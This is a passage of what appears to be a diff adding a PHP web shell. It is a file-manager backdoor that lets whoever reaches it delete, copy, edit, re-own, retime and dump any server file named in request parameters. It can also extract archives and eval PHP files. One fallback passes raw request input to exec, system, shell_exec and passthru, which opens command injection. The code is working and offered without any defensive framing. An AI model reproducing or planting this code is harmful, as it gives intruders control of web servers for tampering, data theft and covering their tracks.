document.getElementById(PermCheck + \'x\').setAttribute(\'checked\',\'checked\'); } + else { document.getElementById(PermCheck + \'x\').removeAttribute(\'checked\'); } + } + } + </script>'; + } + } + elseif ($_GET['act'] === 'delete') { if (unlink($_REQUEST['file'])) { echo '\'',htmlspecialchars($_REQUEST['file']),'\' was successfully Deleted.'; } else { echo 'Error while deleting file.<br />';GetLastError(); }} + elseif ($_GET['act'] === 'copy') { + if (isset($_REQUEST['dest'])) { + if (copy($_REQUEST['file'],$_REQUEST['dest'])) { + echo 'File was copied successfully from \'',realpath($_REQUEST['file']),'\' to \'',$_REQUEST['dest'],'\'.'; + } + else { echo 'Error while copying file.<br />';GetLastError(); } + } + else { + echo '<form action="?dir=',$SCDIR,'&amp;action=file&amp;act=copy&amp;file=',urlencode($_REQUEST['file']),'" method="post"> + <h3>Copy \'',htmlspecialchars($CDIR.$_REQUEST['file']),'\' to file:</h3> + <input type="text" name="dest" id="dest" /> + <input type="submit" value="Copy" /> + </form> + <br /><br /> + <span style="color:red;">Warning: If the destination file already exists, it will be overwritten.</span>'; + } + } + elseif ($_GET['act'] === 'chown') { + if (isset($_POST['Owner'])) { + echo 'Changing File Owner - <font '; + if (chown($_GET['file'],$_POST['Owner'])) { echo 'color="green">Was successful.</font>'; } + else { + echo 'color="red">Failed.</font>';GetLastError(); + } + } + else { + echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Owner to:</h3> + <form method="post" action="?action=file&amp;act=chown&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'"> + <input type="text" size="21" id="Owner" name="Owner" value="Type Owner ID or Name" /> + <input type="submit" value="Change Owner" /> + </form> + <br />Only the superuser may change the owner of a file.'; + } + } + elseif ($_GET['act'] === 'chgrp') { + if (isset($_POST['Group'])) { + echo 'Changing File Group - <font '; + if (chgrp($_GET['file'],$_POST['Group'])) { echo 'color="green">Was successful.</font>'; } + else { + echo 'color="red">Failed.</font>';GetLastError(); + } + } + else { + echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Group to:</h3> + <form method="post" action="?action=file&amp;act=chmod&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'"> + <input type="text" size="21" id="Group" name="Group" value="Type Group ID or Name" /> + <input type="submit" value="Change Group" /> + </form> + <br />Only the superuser may change the group of a file arbitrarily;<br />other users may change the group of a file to any group of which that user is a member.'; + } + } + elseif ($_GET['act'] === 'touch') { + if (isset($_POST['Touch'])) { + $TOUCH = FALSE; + echo 'Changing File Time - <font '; + if ($_POST['Touchm'] === 'Modification Time') { $_POST['Touchm'] = time(); } + if ($_POST['Toucha'] === 'Access Time') { $_POST['Toucha'] = time(); } + if (touch($_GET['file'],$_POST['Touchm'],$_POST['Toucha'])) { echo 'color="green">Was successful.</font>'; } + else { + echo 'color="red">Failed.</font>';GetLastError(); + } + } + else { + echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Time to:</h3> + <form method="post" action="?action=file&amp;act=touch&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'"> + <input type="text" size="21" id="Touchm" name="Touchm" value="Modification Time" /><br /> + <input type="text" size="21" id="Toucha" name="Toucha" value="Access Time" /><br /><br /> + <input type="submit" value="Change Time" id="Touch" name="Touch" /> + </form> + <br />Use UNIX Timestamp<br />To change file modification\access time of the file, Just leave the corresponding box with it\'s default value.'; + } + } + elseif ($_GET['act'] === 'base64') { + echo '<h3>',htmlspecialchars($_GET['file']),' Base64 Encoded:</h3> + <br /><textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',base64_encode(file_get_contents($_GET['file'])),'</textarea>'; + } + elseif ($_GET['act'] === 'compress') { + if (isset($_POST['aname']) && isset($_POST['atype'])) { + if ($_POST['atype'] === 'ZIP') { + $Zip = new ZipArchive; + $ArchiveName = $_POST['aname']; + while (file_exists($ArchiveName.'.zip')) { $ArchiveName .= '7'; } + $Zip->open($ArchiveName.'.zip',ZIPARCHIVE::CREATE); + if ($Zip->addFile($_GET['file'])) { echo 'Compressed successfully, archive: <a href="?dir=',$SCDIR,'&amp;action=file&amp;file=',urlencode($ArchiveName),'.zip">',htmlspecialchars($ArchiveName),'.zip</a>'; } else { echo 'Could not compress file.'; } + $Zip->close(); + } + elseif ($_POST['atype'] === 'Bzip2') { + $ArchiveName = $_POST['aname']; + while (file_exists($ArchiveName.'.bz2')) { $ArchiveName .= '7'; } + $Handle = bzopen($ArchiveName.'.bz2','w'); + if (bzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: <a href="?dir=',$SCDIR,'&amp;action=file&amp;file=',urlencode($ArchiveName),'.bz2">',htmlspecialchars($ArchiveName),'.bz2</a>'; } else { echo 'Could not compress file.'; } + bzclose($Handle); + } + elseif ($_POST['atype'] === 'Gzip') { + $ArchiveName = $_POST['aname']; + while (file_exists($ArchiveName.'.gz')) { $ArchiveName .= '7'; } + $Handle = gzopen($ArchiveName.'.gz','w'); + if (gzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: <a href="?dir=',$SCDIR,'&amp;action=file&amp;file=',urlencode($ArchiveName),'.bz2">',htmlspecialchars($ArchiveName),'.gz</a>'; } else { echo 'Could not compress file.'; } + gzclose($Handle); + } + } + echo '<h3>Compress ',htmlspecialchars($_GET['file']),':</h3> + <br /> + <form method="post" action=""> + Create a + <select name="atype" id="atype">'; + if (class_exists('ZipArchive')) { echo '<option>ZIP</option>'; } + if (function_exists('bzopen') && function_exists('bzwrite')) { echo '<option>Bzip2</option>'; } + if (function_exists('gzopen') && function_exists('gzwrite')) { echo '<option>Gzip</option>'; } + echo '</select> + archive named + <input type="text" id="aname" name="aname" value="',htmlspecialchars($_GET['file']),'" /> + <input type="submit" value="Compress file" /> + </form> + <br /> + You do not need to write the archive extension.<br /> + The archive name will also be the compressed file name except when choosing ZIP, in that case, the compressed file name will be: ',htmlspecialchars($_GET['file']),'. + '; + } + elseif ($_GET['act'] === 'gzip') { + if (function_exists('gzencode')) { + echo '<h3>',htmlspecialchars($_GET['file']),' Gzip Compressed:</h3> + <br /> + <textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',gzencode(file_get_contents($_REQUEST['file'],9)),'</textarea>'; + } + else { echo 'Can\'t Compress.'; } + } + elseif ($_GET['act'] === 'deflate') { + if (function_exists('gzencode')) { + echo '<h3>',htmlspecialchars($_GET['file']),' Deflate Compressed:</h3> + <br /> + <textarea cols="90" rows="25" style="overflow:auto;" readonly="readonly">',gzencode(file_get_contents($_REQUEST['file']),9,FORCE_DEFLATE),'</textarea>'; + } + else { echo 'Can\'t Compress.'; } + } + } + else { + if (isset($_POST['save'])) { + if (is_writable($_REQUEST['file'])) { + if (isset($_REQUEST['fileEdit'])) { + if (function_exists('file_put_contents')) { + if (file_put_contents($_REQUEST['file'],$_REQUEST['fileEdit'])) { + echo 'File Was Saved successfully!<br />'; + } else { echo 'File Could not be Saved.<br />';GetLastError(); } + } + elseif (function_exists('fopen') && (function_exists('fwrite') || function_exists('fputs') || function_exists('fputcsv'))) { + if (!$Handle = fopen($_REQUEST['file'], 'wb')) { + echo 'Cannot open ',htmlspecialchars($_REQUEST['file']); + } + else { + if (function_exists('fwrite')) { + if (fwrite($Handle,$_REQUEST['fileEdit'])) { + echo 'File Was Saved successfully!<br />'; + } + else { + echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); + } + } + elseif (function_exists('fputs')) { + if (fputs($Handle,$_REQUEST['fileEdit'])) { + echo 'File Was Saved successfully!<br />'; + } + else { + echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); + } + } + else { + if (fputcsv($Handle,array($_REQUEST['fileEdit']))) { + echo 'File Was Saved successfully!<br />'; + } + else { + echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); + } + } + + fclose($Handle); + } + } + elseif (function_exists('exec')) { exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } + elseif (function_exists('system')) { system('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } + elseif (function_exists('shell_exec')) { shell_exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } + elseif (function_exists('passthru')) { passthru('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } + elseif (function_exists('popen')) { pclose(popen('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file'])); } + else { echo 'File Could not be Saved (no available functions).<br />'; } + } + else { echo 'Provide New Content.'; } + } + else { echo 'File is not Writeable.'; } + } + $Ext = substr(strrchr(strtolower($_GET['file']), '.'), 1); + echo '<table> + <tr> + <td style="text-align:left;width:500px;overflow:auto;padding:10px;background-color:#282828;"> + <h3>'; + if (strpos($_SERVER['HTTP_USER_AGENT'],'Firefox') !== FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows') !== FALSE && !empty($Ext)) { echo '<img src="moz-icon://.',$Ext,'?size=16" alt="" width="16" height="16" /> '; } + else { echo '<img src="?action=img&amp;ext=.',$Ext,'" alt="" width="16" height="16" /> '; } + echo htmlspecialchars($_GET['file']),' <a target="_blank" href="?action=download&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'"> + <img src="?action=img&amp;image=down" width="20" height="20" alt="Download" /> + </a> + </h3> + MIME Type: '; + if (class_exists('finfo')) { $finfo = new finfo(FILEINFO_MIME); echo $finfo->file($_REQUEST['file']); } + elseif (function_exists('mime_content_type')) { echo mime_content_type($_REQUEST['file']); } + elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_REQUEST['file']); echo $Info->content_type; } + else { echo 'N/A'; } + echo '<br /> + File Perms: + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&amp;act=chmod"> + <font'; $A = GetPerms($_REQUEST['file']); $B = substr($A,7); + if ($B === '--x'||$B === '---') { echo ' color="red">'; } + elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } + else { echo '>'; } echo $A,'</font> + </a> (0', + substr(sprintf('%o',fileperms($_REQUEST['file'])),-3).')<br /> + File Size: '; $S = 0; $B = sprintf('%u', filesize($_GET['file']));while ($B>=1024) { $B/=1024;++$S; } + if ($S === 0) { echo $B,' Bytes<br />'; } + else {printf('%.3f %s<br />',$B,$T[$S-1]); $S = 0; } + if (function_exists('md5_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'MD5: ',md5_file($_GET['file']),'<br />'; } + if (function_exists('sha1_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'SHA-1: ',sha1_file($_REQUEST['file']),'<br />'; } + echo 'Last modified: ',date('F d Y H:i:s.',filemtime($_REQUEST['file'])),'<br /> + Is Uploaded File: ',(is_uploaded_file($_GET['file']) ? 'Yes':'No'),'<br /> + Is Executable: ',(is_executable($_GET['file']) ? 'Yes':'No'),'<br /> + Is Writeable: ',(is_writable($_GET['file']) ? 'Yes':'No'),' + </td> + <td style="padding-left:6px;"> + <pre>[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=text&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Text</a>---]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=php&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">PHP</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=ini&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">INI</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=image&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Image</a>--]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=object&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Object</a>-]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=hexdump&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">HexDump</a>]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=rar&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">RAR</a>----]<br />[<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=zip&amp;dir=',$SCDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">ZIP</a>----]<br />'; if (in_array(substr(strrchr(strtolower($_GET['file']), '.'), 1),array('php','phtml','php3','php4','php5','php6','phtm','phps'))) { echo '[<a style="color:#FF0000;" href="?action=eval&amp;code=',urlencode('if (function_exists(\'file_get_contents\') === FALSE) {function file_get_contents($File) { $handle = fopen($File, \'rb\'); $contents = fread($handle,sprintf(\'%u\',filesize($File)));fclose($handle);return $contents; }} $f = file_get_contents(\''.$_GET['file'].'\'); $NA = substr($f, 0, 2); if (substr($f, 0, 5) === \'<?php\') { $f = substr($f, 5); } elseif ($NA === \'<?\' || $NA === \'<%\') { $f = substr($f, 2); } $ND = substr($f, strlen($f) -2); if ($ND === \'?>\' || $ND === \'%>\') { $f = substr($f, 0, -2); } eval($f);'),'&amp;dir=',$CDIR,'" onmouseover="this.style.fontSize=\'110%\';" onmouseout="this.style.fontSize=\'100%\';">Eval</a>]'; } echo '</pre> + </td> + </tr> + </table> + <br /> + <span onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 1) { window.location = \'?action=file&amp;act=delete&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'\'; }" style="color:red;" onmouseover="this.style.textDecoration = \'underline\';this.style.cursor = \'pointer\';" onmouseout="this.style.textDecoration = \'none\';">Delete</span> + | <a href="?action=file&amp;act=rename&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'">Rename\Move</a> | + <a href="?action=file&amp;act=copy&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'">Copy</a> | + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&amp;act=chmod">Chmod</a> | + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&act=chown">Chown</a> | + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&act=chgrp">Chgrp</a> | + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&amp;act=stat">Stat</a> | + <a href="?action=file&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'&amp;act=touch">Touch</a> | + <a href="?action=file&amp;act=gzip&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'">GZip</a> | + <a href="?action=file&amp;act=deflate&amp;file=',urlencode($_GET['file']).'&amp;dir=',$SCDIR,'">Deflate</a> | + <a href="?action=file&amp;act=base64&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'">Base64</a> | + <a href="?action=file&amp;act=compress&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'">Compress</a> + <br /><br />'; + if (sprintf('%u', filesize($_GET['file'])) <= 10485760 || isset($_GET['OpenWith']) || in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) { + if ((!isset($_GET['OpenWith']) && in_array($Ext,array('php','phtml','php3','php4','php5','php6','phtm','phps'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'php')) { + if (sprintf('%u', filesize($_GET['file'])) === 0) { echo 'PHP Script Size is 0. (No highlighting)'; } + else { + if (function_exists('highlight_file')) { echo '<div style="text-align:left;font-size:13px;background-color:white;overflow:auto;padding:2px;">'; highlight_file($_GET['file']); echo '</div>'; } + elseif (function_exists('show_source')) { echo '<div style="text-align:left;font-size:13px;background-color:white;overflow:auto;padding:2px;">'; show_source($_GET['file']); echo '</div>'; } + else { echo '<span style="color:red;">Couldn\'t highlight file using highlight_file() or show_source() functions.</span>'; } + } + } + elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('png','gif','jpg','jpeg','bmp'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'image')) { + $Size = getimagesize($_GET['file']); echo '<br /><img src="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'" name="image" id="image" width="',$Size[0],'" height="',$Size[1],'" /><br /><br /><h3>[',$Size[0],'X',$Size[1],'] | <a href="?action=printimg&amp;file=',$SCDIR,urlencode($_GET['file']),'">Print image</a></h3>Dimensions: <input type="text" size="2" onkeyup="document.getElementById(\'image\').style.width= this.value + \'px\';" value="',$Size[0],'" />X<input type="text" name="h" id="h" size="2" onkeyup="document.getElementById(\'image\').style.width= this.value + \'px\';" value="',$Size[1],'" />'; + } + elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('ini','inf'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'ini')) { + echo '<br /><br /><pre style="text-align:left;">';print_r(parse_ini_file($_REQUEST['file'],TRUE)); echo '</pre>'; + } + elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('exe','dll','so','bin','obj','com','dylib'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'hexdump')) { + $Size = sprintf('%u', filesize($_GET['file'])); + if (!isset($_GET['show']) && $Size > 96) { $Size = 96; echo '<a href="?action=file&amp;file=',urlencode($_GET['file']),'&amp;OpenWith=hexdump&amp;dir='.$SCDIR.'&show=1">[+]</a> <strong style="color:red;">Expand to Full</strong><br /><br />'; } + $File = file_get_contents($_GET['file']); + echo '<table style="text-align:center;border:1px solid white;color:white;"><col style="background-color:#BB0000;" /><col style="background-color:#585858;" span="16" /><col style="background-color:black;" span="16" />'; + $Last = 16; $ORDedArray = array(); + for ($i = 0; $i < $Size; $i += 16) { + if ($Size - $i < 16) { $Last = $Size - $i; } + for ($k = 0; $k < $Last; $k++) { $ORDedArray[$k] = ord($File[$i + $k]); } + printf('<tr><td>%08X</td>', $i); + for ($k = 0; $k < $Last; $k++) { + printf('<td>%02X</td>', $ORDedArray[$k]); + } + if ($Last < 16) { for (; $k < 16; $k++) { echo '<td style="background-color:#1C1C1C;"></td>'; } } + for ($k = 0; $k < $Last; $k++) { + if ($ORDedArray[$k] <= 31) { echo '<td>.</td>'; } + else { echo '<td>', $File[$i + $k], '</td>'; } + } + echo '</tr>'; + } + echo '</table>'; + } + elseif ((!isset($_GET['OpenWith']) && $Ext === 'rar') || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'rar')) { + if (class_exists('RarArchive')) { + $rar_arch = RarArchive::open($_GET['file']); + if ($rar_arch !== FALSE) { + $rar_entries = $rar_arch->list(); + if ($rar_entries === FALSE) { echo 'Could not retrieve entries.'; } + else { + echo 'Found ',count($rar_entries),' entries.<br />'; + foreach ($rar_entries as $e) { + echo $e, '<br />'; + } + } + $rar_arch->close(); + } + else { echo 'Could not open RAR archive.'; } + + } + else { echo 'The RarArchive class does not exist.'; } + + } + + elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'zip')) { + if (function_exists('zip_open')) { + if (class_exists('ZipArchive')) { + if (isset($_POST['extdir'])) { + if (!is_dir(realpath($_POST['extdir']))) { echo 'Invalid directory to extract the files to.'; } + else { + $zip = new ZipArchive; + $res = $zip->open($_GET['file']); + if ($res === TRUE) { + $Result = $zip->extractTo($_POST['extdir']); + $zip->close(); + if ($Result) { echo 'Extracted successfully to \'',htmlspecialchars(realpath($_POST['extdir'])),'\''; } + else { echo 'Error while extracting files.'; GetLastError(); } + } + } + } + echo '<h3>Extract to:</h3><form action="" method="post"><input type="text" name="extdir" id="extdir" value="',htmlspecialchars($CDIR),'" size="40" /> <input type="submit" value="Extract" /></form>'; + } + $ZipRes = zip_open($_GET['file']); + if (is_resource($ZipRes)) { + echo '<h3>Zip entries:</h3><table style="text-align:left;"><tr><th>Name</th><th>Size</th><th>Compressed size</th><th>Compression method</th></tr>'; + while ($ZipRead = zip_read($ZipRes)) { + echo '<tr><td>',zip_entry_name($ZipRead),'</td><td>'; $S = 0; $B = sprintf('%u', zip_entry_filesize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '</td><td>'; $S = 0; $B = sprintf('%u', zip_entry_compressedsize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '</td><td>',zip_entry_compressionmethod($ZipRead),'</td></tr>'; + } + echo '</table>'; + zip_close($ZipRes); + } + else { echo 'Could not open ZIP archive.'; } + + } + else { echo 'The ZipArchive class does not exist.'; } + + } + elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('pdf','swf','wav','mid','avi','ogg','wmv','mov','mpg','mp3','doc','svg'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'object')) { + echo '<object data="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'" type="'; + if ($Ext === 'pdf') { echo 'application/pdf" width="800" height="800"'; } + elseif ($Ext === 'doc') { echo 'application/msword" width="800" height="800"'; } + else { + if ($Ext === 'swf') { echo 'application/x-shockwave-flash"'; } + elseif ($Ext === 'wav') { echo 'audio/x-wav"'; } + elseif ($Ext === 'mid') { echo 'audio/x-midi"'; } + elseif ($Ext === 'avi') { echo 'video/avi"'; } + elseif ($Ext === 'ogg') { echo 'application/ogg"'; } + elseif ($Ext === 'wmv') { echo 'video/x-ms-wmv"'; } + elseif ($Ext === 'mov') { echo 'video/quicktime" codebase="http://www.apple.com/qtactivex/qtplugin.cab" classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"'; } + elseif ($Ext === 'mpg') { echo 'video/mpeg"'; } + elseif ($Ext === 'mp3') { echo 'audio/mpeg"'; } + elseif ($Ext === 'svg') { echo 'image/svg+xml"'; } + echo ' width="320" height="260"'; + } + + echo '><param name="src" value="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'"><param name="movie" value="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'"><param name="controller" value="true"><param name="autoplay" value="false"><param name="autoStart" value="0">Your browser does not support this Object type or you don\'t have the needed Plug-in. (alt: <a href="?action=getfile&amp;dir=',$SCDIR,'&amp;file=',urlencode($_GET['file']),'">Direct Link</a>) + </object>'; + } + elseif (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'base64') { + echo '<textarea cols="90" rows="25" style="overflow:auto;" spellcheck="false">',base64_encode(file_get_contents($_GET['file'])),'</textarea>'; + } + else { + echo '<form action="" method="post" id="form"><textarea cols="90" rows="25" style="overflow:auto;" id="fileEdit" name="fileEdit" spellcheck="false">'; echo htmlspecialchars(file_get_contents($_GET['file'])),'</textarea><br /><br /><input type="submit" value="Save" id="save" name="save" /> <button onclick="document.getElementById(\'fileEdit\').select();" type="button">Select all</button> <select onchange="javascript:document.getElementById(\'language\').style.display=\'inline\';document.getElementById(\'lightit\').style.display=\'inline\'; if(this.value=\'quickhighlighter.com\') {document.getElementById(\'AdditionalArgs\').innerHTML=\'&lt;input type=\\\'hidden\\\' id=\\\'submit\\\' name=\\\'submit\\\' value=\\\'Highlight!\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'word_wrap\\\' name=\\\'word_wrap\\\' value=\\\'true\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'tab_width\\\' name=\\\'tab_width\\\' value=\\\'4\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'strict_mode\\\' name=\\\'strict_mode\\\' value=\\\'on\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'default_color\\\' name=\\\'default_color\\\' value=\\\'000099\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'line_numbers\\\' name=\\\'line_numbers\\\' value=\\\'2\\\' /&gt;&lt;input type=\\\'hidden\\\' id=\\\'highlight_keywords\\\' name=\\\'highlight_keywords\\\' value=\\\'on\\\' /&gt;\'; }"><option value="deafult">Send to highlight:</option><option value="quickhighlighter.com">quickhighlighter.com</option></select><div style="display:none;" id="AdditionalArgs"></div> <select style="display:none;" name="language" id="language"><option value="abap">ABAP</option><option value="actionscript">ActionScript</option><option value="actionscript3">ActionScript 3</option><option value="ada">Ada</option><option value="apache">Apache configuration</option><option value="applescript">AppleScript</option><option value="apt_sources">Apt sources</option><option value="asm">ASM</option><option value="asp">ASP</option><option value="autoit">AutoIt</option><option value="autohotkey">AutoHotKey</option><option value="avisynth">AviSynth</option><option value="bash">Bash</option><option value="basic4gl">Basic4GL</option><option value="bf">Brainfuck</option><option value="blitzbasic">BlitzBasic</option><option value="bnf">bnf</option><option value="boo">Boo</option><option value="c">C</option><option value="c_mac">C (Mac)</option><option value="caddcl">CAD DCL</option><option value="cadlisp">CAD Lisp</option><option value="cfdg">CFDG</option><option value="cfm">ColdFusion</option><option value="cil">CIL</option><option value="cobol">COBOL</option><option value="cpp">C++</option><option class="sublang" value="cpp-qt">&nbsp;&nbsp;C++ (QT)</option><option value="csharp">C#</option><option value="css">CSS</option><option value="cuesheet">CueSheet</option><option value="d">D</option><option value="delphi">Delphi</option><option value="diff">Diff</option><option value="div">DIV</option><option value="dos">DOS</option><option value="dot">dot</option><option value="eiffel">Eiffel</option><option value="email">eMail (mbox)</option><option value="fsharp">F#</option><option value="fortran">Fortran</option><option value="freebasic">FreeBasic</option><option value="genero">genero</option><option value="gettext">GNU Gettext</option><option value="glsl">glSlang</option><option value="gml">GML</option><option value="gnuplot">Gnuplot</option><option value="groovy">Groovy</option><option value="haskell">Haskell</option><option value="hq9plus">HQ9+</option><option value="html4strict">HTML</option><option value="idl">Uno Idl</option><option value="ini">INI</option><option value="inno">Inno</option><option value="intercal">INTERCAL</option><option value="io">Io</option><option value="java">Java</option><option value="java5">Java(TM) 2 Platform Standard Edition 5.0</option><option value="javascript">Javascript</option><option value="jquery">jQuery</option><option value="kixtart">KiXtart</option><option value="klonec">KLone C</option><option value="klonecpp">KLone C++</option><option value="latex">LaTeX</option><option value="lisp">Lisp</option><option value="lolcode">LOLcode</option><option value="lotusformulas">Lotus Notes @Formulas</option><option value="lotusscript">LotusScript</option><option value="lscript">LScript</option><option value="lua">Lua</option><option value="mapbasic">Map Basic</option><option value="m68k">Motorola 68000 Assembler</option><option value="make">GNU make</option><option value="matlab">Matlab M</option><option value="mirc">mIRC Scripting</option><option value="mpasm">Microchip Assembler</option><option value="mxml">MXML</option><option value="mysql">MySQL</option><option value="newlisp">NewLisp</option><option value="nsis">NSIS</option><option value="objc">Objective-C</option><option value="ocaml">OCaml</option><option class="sublang" value="ocaml-brief">&nbsp;&nbsp;OCaml (brief)</option><option value="oobas">OpenOffice.org Basic</option><option value="oracle11">Oracle 11 SQL</option><option value="oracle8">Oracle 8 SQL</option><option value="pascal">Pascal</option><option value="per">per</option><option value="perl">Perl</option><option value="perl6">Perl 6</option><option selected="selected" value="php">PHP</option><option class="sublang" value="php-brief">&nbsp;&nbsp;PHP (brief)</option><option value="pic16">PIC16</option><option value="pike">Pike</option><option value="pixelbender">Pixel Bender 1.0</option><option value="plsql">PL/SQL</option><option value="povray">POVRAY</option><option value="powershell">posh</option><option value="powerbuilder">Power Builder</option><option value="progress">Progress</option><option value="prolog">Prolog</option><option value="providex">ProvideX</option><option value="python">Python</option><option value="purebasic">PureBasic</option><option value="qbasic">QBasic/QuickBASIC</option><option value="rails">Rails</option><option value="reg">Microsoft Registry</option><option value="robots">robots.txt</option><option value="ruby">Ruby</option><option value="sas">SAS</option><option value="scala">Scala</option><option value="scheme">Scheme</option><option value="scilab">SciLab</option><option value="sdlbasic">sdlBasic</option><option value="smalltalk">Smalltalk</option><option value="smarty">Smarty</option><option value="sql">SQL</option><option value="tcl">TCL</option><option value="teraterm">Tera Term Macro</option><option value="text">Text</option><option value="thinbasic">thinBasic</option><option value="tsql">T-SQL</option><option value="typoscript">TypoScript</option><option value="vb">Visual Basic</option><option value="vbnet">vb.net</option><option value="verilog">Verilog</option><option value="vhdl">VHDL</option><option value="vim">Vim Script</option><option value="visualfoxpro">Visual Fox Pro</option><option value="visualprolog">Visual Prolog</option><option value="whitespace">Whitespace</option><option value="whois">Whois Response</option><option value="winbatch">Winbatch</option><option value="xml">XML</option><option value="xorg_conf">Xorg configuration</option><option value="xpp">X++</option><option value="z80">ZiLOG Z80 Assembler</option></select> <input type="submit" value="Highlight code" id="lightit" style="display:none;" onclick="document.getElementById(\'form\').action=\'http://quickhighlighter.com/code-syntax-highlighter.php\';document.getElementById(\'fileEdit\').id=\'source\';document.getElementById(\'source\').name=\'source\';" /></form>'; + } + } + else { + echo '\'',htmlspecialchars($_GET['file']),'\' is too big (>10MiB) to send.'; + } + } + } + else { + echo '\'',htmlspecialchars($_GET['file']),'\' Does Not Exist.<br /><br /><a href="?dir=',$SCDIR,'&amp;action=cmd&amp;act=FileMake&amp;value=',urlencode($_GET['file']),'" target="_blank">Create?</a>'; + } + } + if ($_GET['action'] === 